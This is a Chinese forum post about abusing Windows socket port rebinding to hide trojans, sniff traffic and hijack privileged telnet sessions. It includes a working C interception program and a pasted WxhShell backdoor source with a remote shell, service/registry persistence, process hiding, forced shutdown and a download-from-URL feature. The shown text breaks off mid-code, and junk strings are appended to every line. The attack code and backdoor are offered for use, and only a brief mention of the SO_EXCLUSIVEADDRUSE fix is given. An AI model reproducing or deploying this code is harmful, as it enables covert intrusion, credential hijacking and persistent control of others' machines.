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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \?7)oFNz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3?SofPtc/  
azR<Y_tw  
  saddr.sin_family = AF_INET;  hX?L/yf  
!cPiH6eO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ps=jGh[  
{.pR$]6B"+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pV{MW#e  
%5 V!Fdb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ['ol]ZJ  
$Nvt:X_  
  这意味着什么?意味着可以进行如下的攻击: y E-H-r~I  
8Kt_irD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^IGutZov  
cZI )lX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {E1g+><  
opxVxjTT#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S%gb1's  
5_Yl!=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2*Hw6@Jj  
Dw{rjK\TT'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xO)vn\uJ  
c;c'E&9P]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R+k-mbvnt  
vKN"o* q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3-#|6khqt  
O9*cV3}H  
  #include ss63/   
  #include O 4@sN=o  
  #include wU,{ 5w  
  #include    7_C;-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #mwV66'H  
  int main() R2WEPMH%  
  { T.O^40y  
  WORD wVersionRequested; s2A3.SN  
  DWORD ret; |P7c {  
  WSADATA wsaData; S'M=P_-7  
  BOOL val; !c-Ie~GIT  
  SOCKADDR_IN saddr; Ci6yH( RE  
  SOCKADDR_IN scaddr; HPl!r0 h  
  int err; WqP>cl2Lm  
  SOCKET s; yL/EIN  
  SOCKET sc; IB:eyq-+  
  int caddsize; 0Ci\(  
  HANDLE mt; 5Nc~cD%0tK  
  DWORD tid;   g*C&Pr3  
  wVersionRequested = MAKEWORD( 2, 2 ); :acnrW>i[@  
  err = WSAStartup( wVersionRequested, &wsaData ); 08AC 9  
  if ( err != 0 ) { {Ts@#V=:  
  printf("error!WSAStartup failed!\n"); N<o3pX2i]  
  return -1; ._@Scd  
  } U]j4Izq  
  saddr.sin_family = AF_INET; su6x okt  
   f"t\-ux.b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {o"X8  
IPmSkK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 54~`8f  
  saddr.sin_port = htons(23); 4]9+   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nB"r<?n<  
  { 4GWt.+{J$  
  printf("error!socket failed!\n"); YVt#( jl  
  return -1; @s!9 T  
  } # D"TY-$.=  
  val = TRUE; <"w;:Zs  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9n{tbabJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hZ2!UW4'  
  { !9=hUpRN  
  printf("error!setsockopt failed!\n"); f1MKYM%^x  
  return -1; =g4^tIYq  
  } }M?\BH&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N^7Qn*qt[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &No6k~T0:b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~$XbYR-  
N %N %  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f!hQ"1[  
  { L6`(YX.:  
  ret=GetLastError(); Eyi^N0  
  printf("error!bind failed!\n"); `s#0/t  
  return -1; jn vJ`7zFP  
  } Jj+|>(P  
  listen(s,2); 3 EH/6  
  while(1) tdSy&]P  
  { H_)\:gTG  
  caddsize = sizeof(scaddr); m[ *)sm  
  //接受连接请求  jL8[;*^G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nIdB,  
  if(sc!=INVALID_SOCKET) @Ee{ GH^-  
  { H59}d oKH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :l>&5w;  
  if(mt==NULL) %UZ_wsY\  
  { $;NxO0$  
  printf("Thread Creat Failed!\n"); Z$!>hiz2  
  break; ~]f+   
  } KdU!wsKfG  
  } j`jF{k b  
  CloseHandle(mt); !4-B xeNY\  
  } 3wZA,Z  
  closesocket(s); z%cq%P8g  
  WSACleanup(); O8:$sei$  
  return 0; [kwVxaI  
  }   ,!+>/RlJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) ol]"r5#Q_H  
  { v`3q0,,  
  SOCKET ss = (SOCKET)lpParam; %^){Z,}M}  
  SOCKET sc; ufF$7@(+  
  unsigned char buf[4096]; OZ 4uk.)  
  SOCKADDR_IN saddr; S <~"\<ED  
  long num; X,VOKj.%  
  DWORD val; '>dsROB->  
  DWORD ret; 2)}ic2]pn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g]au|$L4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P 1`X<A  
  saddr.sin_family = AF_INET; /V@~Vlww  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ny|2Fcs  
  saddr.sin_port = htons(23); ,ErJUv  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \49LgN@\  
  { R3+y*< <e  
  printf("error!socket failed!\n"); 2q V.`d  
  return -1; 5dc24GB>_  
  } .OFwGOL%  
  val = 100; ,{wA%Oy,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dL;C4[(N  
  { %oVoE2T{@  
  ret = GetLastError(); Wr+?ul*_  
  return -1; 4oW6&1  
  } Y1 RiuJtL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <=WSX{_D  
  { 1F?`.~q  
  ret = GetLastError(); P.^%8L  
  return -1; UHr0J jQK  
  } y4* }E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sevaNs  
  { p)l>bC?3  
  printf("error!socket connect failed!\n"); L3[r7 b  
  closesocket(sc); [/_M!&zz2  
  closesocket(ss); H^y%Bi&^  
  return -1; _SU%ul  
  } FPj j1U`C  
  while(1) UeNa  
  { SF$'$6x}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #wz1uw[pI!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YC!Tgb~H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qK}4r5U  
  num = recv(ss,buf,4096,0); yt,xA;g  
  if(num>0) Br w-"tmx  
  send(sc,buf,num,0); (!kd9uV  
  else if(num==0) /G)Y~1ASA%  
  break; pqmb&"l  
  num = recv(sc,buf,4096,0); .b'o}DLa  
  if(num>0) =TImx.D:  
  send(ss,buf,num,0); tXj28sh$  
  else if(num==0) T=lir%q  
  break; |+Gv)Rvp  
  } >q+o MrU  
  closesocket(ss); &k'J5YHm8H  
  closesocket(sc); vY|{CBGbd  
  return 0 ; wX(h]X"q  
  } OO)m{5r,{  
E.*TJ  
["4sCB@Tr  
========================================================== 5 9$B z'LY  
#H9J/k_  
下边附上一个代码,,WXhSHELL ;-SFK+)R"  
vrVb/hhG  
========================================================== U~{fbS3,  
ut26sg{s(  
#include "stdafx.h" Y:|_M3&'o  
piq1cV  
#include <stdio.h> T\;7'  
#include <string.h> .iK{=L/(y  
#include <windows.h> jP*5(*[&y  
#include <winsock2.h> DRS68^  
#include <winsvc.h> r$3{1HXc  
#include <urlmon.h> O'tVZ!C#J  
RmXC ^VQ  
#pragma comment (lib, "Ws2_32.lib") "#7~}Z B  
#pragma comment (lib, "urlmon.lib") d=<"sHO  
E,"?RbG  
#define MAX_USER   100 // 最大客户端连接数 3`y9V2&b  
#define BUF_SOCK   200 // sock buffer 43cdWd%  
#define KEY_BUFF   255 // 输入 buffer 4 ZD~i e  
`fw:   
#define REBOOT     0   // 重启 /?<tjK' "H  
#define SHUTDOWN   1   // 关机 C@!C='b,  
z}I4m  
#define DEF_PORT   5000 // 监听端口 e[txJ*SuO  
SplEY!.k  
#define REG_LEN     16   // 注册表键长度 gFk~SJd  
#define SVC_LEN     80   // NT服务名长度 `-)!4oJ]  
l=(4o4um  
// 从dll定义API u=a5Z4N'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (Uo:WyVj|F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?6h65GO{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W zM9{c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C$MaJHkiF  
1pe eecE  
// wxhshell配置信息 #qL?;Zh0S  
struct WSCFG { XXbA n-J  
  int ws_port;         // 监听端口 \0 &7^  
  char ws_passstr[REG_LEN]; // 口令 A`E7V}~  
  int ws_autoins;       // 安装标记, 1=yes 0=no qU!*QZ^y&  
  char ws_regname[REG_LEN]; // 注册表键名 *=]hc@  
  char ws_svcname[REG_LEN]; // 服务名 1~! 4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j3j<01rq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |\g=ua+h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4] c.mDo[T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =-#>NlB$w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D{h sa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T;6 VI|\  
QR'yZ45n4  
}; !<!5;f8  
< C54cO  
// default Wxhshell configuration  QW  
struct WSCFG wscfg={DEF_PORT, o K;.|ja  
    "xuhuanlingzhe", |eD$eZ=m  
    1, j=U [V&T  
    "Wxhshell", Q;p?.GI?-  
    "Wxhshell", oqzx}?0  
            "WxhShell Service", +5n,/YjS`  
    "Wrsky Windows CmdShell Service", xO8-vmf2  
    "Please Input Your Password: ", :1Jg;G  
  1, #{973~uj  
  "http://www.wrsky.com/wxhshell.exe", Xg>nb1e  
  "Wxhshell.exe" FBit /0  
    }; p|mt2oDjw  
<0my,hAK  
// 消息定义模块 3QL I|VpO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9NCo0!Fb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2z/qbzG7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RS&l68[6  
char *msg_ws_ext="\n\rExit."; J!?hajw7N  
char *msg_ws_end="\n\rQuit."; x1['+!01  
char *msg_ws_boot="\n\rReboot..."; HX1RA 5O  
char *msg_ws_poff="\n\rShutdown..."; w6 C0]vh  
char *msg_ws_down="\n\rSave to "; :S Tj <  
B+:'Ld](  
char *msg_ws_err="\n\rErr!"; 1EvAV,v"  
char *msg_ws_ok="\n\rOK!"; JA!O,4  
6?-vj2,  
char ExeFile[MAX_PATH]; Kyy CS>  
int nUser = 0; /15e-(Zz/  
HANDLE handles[MAX_USER]; g_ z%L?N  
int OsIsNt; n W2[x;  
<0,c{e  
SERVICE_STATUS       serviceStatus; E. @n Rj#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;B[*f?y-  
H]@M00C  
// 函数声明 [}snKogp  
int Install(void); 3OUZR5_$  
int Uninstall(void); xL,;(F\^  
int DownloadFile(char *sURL, SOCKET wsh); n[Jpy[4g  
int Boot(int flag); ,DrE4")4  
void HideProc(void); C(i1Vx<-  
int GetOsVer(void); O][R "5d  
int Wxhshell(SOCKET wsl); =]r<xON%S  
void TalkWithClient(void *cs); &Q7vY  
int CmdShell(SOCKET sock); ?nOul}y/  
int StartFromService(void); --SlxV/x  
int StartWxhshell(LPSTR lpCmdLine); n6T@A;_g  
iU^KmM I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DgOO\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b/N+X}VMN  
'F[m,[T%x  
// 数据结构和表定义 mSSDV0Pfn  
SERVICE_TABLE_ENTRY DispatchTable[] = `TvpKS5.Y  
{ I$@0FSl  
{wscfg.ws_svcname, NTServiceMain}, H.sHXuu  
{NULL, NULL} VUF^ r7e  
}; 9pN},F91n:  
> %5<fK2  
// 自我安装 yyZV/ x~  
int Install(void) $ZSjq  
{ [[(29|`]  
  char svExeFile[MAX_PATH]; T%kr&XsQX  
  HKEY key; tuzw% =Ey  
  strcpy(svExeFile,ExeFile); rwb7>]UI"d  
u~Zx9>f  
// 如果是win9x系统,修改注册表设为自启动 U~krv> I  
if(!OsIsNt) { tHez S~t_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M*|,05>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OQt_nb#z`{  
  RegCloseKey(key); '0z-duu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P !:LAb(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xij`Mr  
  RegCloseKey(key); =FXO1UZ!  
  return 0; =b{wzx}e  
    } P@ Oq'y[  
  } i v7^ !  
} ay}} v7)GM  
else { ,DUD4 [3  
H$2<N@'4z  
// 如果是NT以上系统,安装为系统服务 - inZX`afA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wr.G9zq.+  
if (schSCManager!=0)  /="~Jo  
{ _tJp@\rOz=  
  SC_HANDLE schService = CreateService k WVaHZr  
  ( R pUq#Y:a  
  schSCManager, |tl4I2AV  
  wscfg.ws_svcname, cE3g7(a  
  wscfg.ws_svcdisp, Bf37/kkf(  
  SERVICE_ALL_ACCESS, 9os>k*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !]1'?8  
  SERVICE_AUTO_START, 9$)I=Rpk =  
  SERVICE_ERROR_NORMAL, CmyCne   
  svExeFile, d~NvS-u7  
  NULL, oWg"f*  
  NULL, {C6,h#|pg  
  NULL, 5U[m]W=B  
  NULL, ygiZ~v4P/  
  NULL O,m0Xb2s]~  
  ); M`6rI  
  if (schService!=0) 6_`9 4+  
  { ~\;s}Fv.  
  CloseServiceHandle(schService); JDi\?m d.  
  CloseServiceHandle(schSCManager); _.b^4^[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t= =+SHGP  
  strcat(svExeFile,wscfg.ws_svcname); `cee tr=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D?yiK=:08`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X=QaTV  
  RegCloseKey(key); aj>6q=R  
  return 0; d|T87K>|r"  
    } -:mT8'.F-  
  } 'Em5AA`>  
  CloseServiceHandle(schSCManager); WCf?_\cG  
} (^x ,  
} KxZup\\:v  
@3T)J,f  
return 1; VJp; XM  
} ces|HPBa&6  
C t-^-XD  
// 自我卸载 z"[}Sk  
int Uninstall(void) 6|h~pH  
{ Y 6B7qp  
  HKEY key; 1DzI@c~X  
IrIF 853g  
if(!OsIsNt) { F#<$yUf%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q]n a_'_  
  RegDeleteValue(key,wscfg.ws_regname); Pra,r9h,  
  RegCloseKey(key); }q-*Ls~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o*\Fj}l-  
  RegDeleteValue(key,wscfg.ws_regname); >M`ryM2=D  
  RegCloseKey(key); %3ieR}:/e&  
  return 0; $F^p5EXkc6  
  } ;gE]*Y.Z.p  
} g!<=NVhYt  
} j>D[iHrH  
else { ()Cw;N{E  
<G+IbUG:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K<#Q;(SFU  
if (schSCManager!=0) ~Vh< mt  
{ 1m c'=S{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c-?2>%;(V  
  if (schService!=0) luPj'd?  
  { D' d^rT| H  
  if(DeleteService(schService)!=0) { xfAnZBsVo  
  CloseServiceHandle(schService); |3ob1/)p0  
  CloseServiceHandle(schSCManager); *3A`7usU  
  return 0; BH@b]bEJ  
  } Hu4\4x$?  
  CloseServiceHandle(schService); M.*3qWM  
  } 5!tiu4LU  
  CloseServiceHandle(schSCManager); 2.6F5&:($  
} "$@Wy,yp  
} 5(+9( \x  
A9:dHOmT^U  
return 1; gk-g!v&  
} e<.O'!=7Y  
reO^_q'  
// 从指定url下载文件 J ~"h&>T  
int DownloadFile(char *sURL, SOCKET wsh) oZ CvEVUk  
{ ,)u7PMs  
  HRESULT hr; ZKk*2EK]2z  
char seps[]= "/"; ysHmi{V~  
char *token; OVy ZyZ#  
char *file; {y>o6OTITR  
char myURL[MAX_PATH]; E:!qnc L:  
char myFILE[MAX_PATH]; :4HZ >!i  
KMU2Po qD  
strcpy(myURL,sURL); ;XUiV$  
  token=strtok(myURL,seps); `fL81)!jI#  
  while(token!=NULL) R=/^5DZ}  
  { =&9x}4`;%  
    file=token; !%8|R]d  
  token=strtok(NULL,seps); @U)k~z2Hk  
  } jE.yT(+lW  
q>n0'`q   
GetCurrentDirectory(MAX_PATH,myFILE); EKr#i}(x<  
strcat(myFILE, "\\"); FF}A_ZFY  
strcat(myFILE, file); v&#=1Zb  
  send(wsh,myFILE,strlen(myFILE),0); 1G6 %?Iph  
send(wsh,"...",3,0); Ok/U"N-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CcDi65s  
  if(hr==S_OK) ,sk0){rW  
return 0; mW+QJ`3  
else W)OoHpdw  
return 1; dI$U{;t  
E <O:  
} S|_}0  
]CL9N  
// 系统电源模块 Q,AM<\S  
int Boot(int flag) QP%*`t?  
{ :)PAj  
  HANDLE hToken; D=!e6E<>@  
  TOKEN_PRIVILEGES tkp; jdEqa$CXG  
_7k6hVQ  
  if(OsIsNt) { 0Na/3cz|zg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3lW7auH4Y{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); udjahI<{  
    tkp.PrivilegeCount = 1; `3QAXDWE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (*XSr Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X6Y<pw`y  
if(flag==REBOOT) { n#.~XNbxv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wwf],Ya  
  return 0; $@ R[$/  
} ,'FdUq)i  
else { Z2.S:y.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q ad`muAd  
  return 0; 0=,vdT  
} AVR=\ qR  
  } FlqE!6[[  
  else { Y*KHr`\C4  
if(flag==REBOOT) { 3P&K<M#\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~AX@o-WU  
  return 0; 6q8b>LG|  
} \_#Z~I{  
else { 'TdO6-X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k`u:Cz#aB  
  return 0; X (0`"rjg  
} [=otgVteN"  
} lY,dyNFHV  
en1NFP  
return 1; Kx@Papn|6  
} w4"4(SR.  
r^j iK\*  
// win9x进程隐藏模块 A=+ |&+? t  
void HideProc(void) ry Kc7<  
{ a-9Y &#U  
 > h>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *fIb|r  
  if ( hKernel != NULL ) *It`<F|  
  { AlH\IP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <q dM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n$}) }kj  
    FreeLibrary(hKernel); -9(9LU2  
  } _rmTX.'w  
4XCy>;4u  
return; !-OPzfHrI  
} wQnW2)9!  
= MP?aH [  
// 获取操作系统版本 2X@| H  
int GetOsVer(void) (n>gC  
{ x U1](O  
  OSVERSIONINFO winfo; lls-Nir%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k|-P&g  
  GetVersionEx(&winfo); W ^MF3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \]a@ NBv  
  return 1; ;@&mR <5j  
  else |hlc#t ?  
  return 0; l^ Q-KUI  
} '%} k"&t$i  
(/oHj^>3N`  
// 客户端句柄模块 -#e3aXe  
int Wxhshell(SOCKET wsl) Km=dId7]  
{ wk'12r6=(-  
  SOCKET wsh; M y vyp  
  struct sockaddr_in client; Q`Z=}^  
  DWORD myID; R}S@u@mOE  
M zWVsV  
  while(nUser<MAX_USER) lebwGW,!  
{ !i`HjV0wS  
  int nSize=sizeof(client); x)h|!T=B~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n& j@7R  
  if(wsh==INVALID_SOCKET) return 1; O8\dMb  
&YU; K&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u3Qm"?$`  
if(handles[nUser]==0) 5,;>b^gXY`  
  closesocket(wsh); Z/p>>SCak  
else AxbQN.E  
  nUser++; +li<y`aw0  
  } vs`"BQYf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t\/i9CBn  
f2abee  
  return 0; {&bjjM  
} V2&O]bR  
zK5/0zMZ  
// 关闭 socket N"+o=nS  
void CloseIt(SOCKET wsh) tcm?qro)  
{ $0f(Gc|  
closesocket(wsh); M`~UH\  
nUser--; g<@P_^vo  
ExitThread(0); sFvu@Wm'7W  
} I &jiH)  
q3CcXYY  
// 客户端请求句柄 ecZT|X4u  
void TalkWithClient(void *cs) HoTg7/iK  
{ KTQy pv  
&T i:IC%M  
  SOCKET wsh=(SOCKET)cs; G(n e8L8  
  char pwd[SVC_LEN]; fH#*r|~  
  char cmd[KEY_BUFF]; 49gm=XPm  
char chr[1]; 3.c0PRZ  
int i,j; - s}  
,/XeG`vk  
  while (nUser < MAX_USER) { K ]  
mw[  
if(wscfg.ws_passstr) { HVq02 Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;E!(W=]*F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >l!#_a  
  //ZeroMemory(pwd,KEY_BUFF); ++HHUM  
      i=0; X*Qtbm,  
  while(i<SVC_LEN) { uVQH,NA,  
b!h*I>`  
  // 设置超时 9ozK}Cg4  
  fd_set FdRead; qt.G_fOz  
  struct timeval TimeOut; NQFMExg,  
  FD_ZERO(&FdRead); n.323tNY  
  FD_SET(wsh,&FdRead); " 0:&x n8L  
  TimeOut.tv_sec=8; ;aY.CgX  
  TimeOut.tv_usec=0; MPtn$@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YM:;mX5B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '1jG?D  
-F-RWs{yS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TN+iv8sT  
  pwd=chr[0]; hJ>Kfm  
  if(chr[0]==0xd || chr[0]==0xa) { p H5iv>H  
  pwd=0; |3a1hCxt  
  break; Dm")\"5\?  
  } _N-.=86*  
  i++; >E9:3&[F  
    } 4Z& i\#Q  
~)ecQ  
  // 如果是非法用户,关闭 socket t=K;/ 1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); } ^}fx [  
} 4F-r}Fj3  
MKnG:)T<?l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O]XdPH20  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n' XvPV|  
D^[}:O{  
while(1) { C0eqC u)Q  
YV6@SXy  
  ZeroMemory(cmd,KEY_BUFF); :c vZk|b%  
w6-A-M6hD  
      // 自动支持客户端 telnet标准   z)Yk&;XC  
  j=0; Ny\c>$z  
  while(j<KEY_BUFF) { {x-iBg9#l2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /9K,W)h_  
  cmd[j]=chr[0]; AB.gVw| 4  
  if(chr[0]==0xa || chr[0]==0xd) {  /z0X  
  cmd[j]=0; RSK~<Y@]q{  
  break; o:p6[SGd  
  } &sbKN[xM  
  j++; R.Plfm06Ue  
    } FE0}V}\=h  
FR7DuH/f)  
  // 下载文件 R>r@I_  
  if(strstr(cmd,"http://")) { t,YnweH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cJ}J4?  
  if(DownloadFile(cmd,wsh)) 7lC );  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j[^(<R8  
  else M;96 Wm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "&_$%#HUv  
  } F7FUoew<  
  else { 015 ;'V#we  
dTE(+M- Gr  
    switch(cmd[0]) { \o&\r)FX  
  c7E|GZ2Hc  
  // 帮助 z ?3G`  
  case '?': { P  -O& X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -w[j`}([P9  
    break; eaG_)y  
  } \1[=t+/  
  // 安装 i42M.M6D$  
  case 'i': { 8|Q=9mmWOh  
    if(Install()) j56#KNAha  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :c*_W /  
    else 9*thqs3J#d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g!#M0  
    break; 4*)a3jI?  
    } ^ B>BA  
  // 卸载 4TP AD)C  
  case 'r': { d){o#@  
    if(Uninstall()) }!&Vcf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E8Rk b}  
    else Ih&rXQ$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pG|+\k/B  
    break; $$,/F  
    } ~36)3W[4  
  // 显示 wxhshell 所在路径 K;,_P5J%  
  case 'p': { P,QI-,  
    char svExeFile[MAX_PATH]; tK|jh  
    strcpy(svExeFile,"\n\r"); FLb Q#c\  
      strcat(svExeFile,ExeFile); ||}k99y +  
        send(wsh,svExeFile,strlen(svExeFile),0); )jS9p~FS  
    break; cE|Z=}4I7  
    } c2tf7fkH  
  // 重启 ^57G]$Q  
  case 'b': { V5.=08L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2;v1YKY  
    if(Boot(REBOOT)) cC NyW2'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l{2Y[&%  
    else { RF#S=X6  
    closesocket(wsh); 6*{sZMG  
    ExitThread(0); 3eg)O34  
    } b_'VWd:am  
    break; [110[i^  
    } /OX;3" +1  
  // 关机 vC# *w,  
  case 'd': { PsV1btq]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gsSUmf1  
